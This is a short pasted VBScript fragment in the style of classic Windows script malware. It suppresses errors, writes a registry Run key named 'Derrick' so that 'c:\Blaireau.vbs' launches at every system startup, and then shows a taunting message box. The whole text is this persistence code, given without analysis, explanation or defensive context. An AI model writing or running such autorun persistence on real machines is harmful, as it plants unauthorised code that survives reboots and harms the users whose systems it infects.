Pasted

Dim fso, dirsystem
Set fso = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
Set dirsystem = fso.GetSpecialFolder(1)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Derrick","wscript c:\Blaireau.vbs"
Msgbox "T Niké"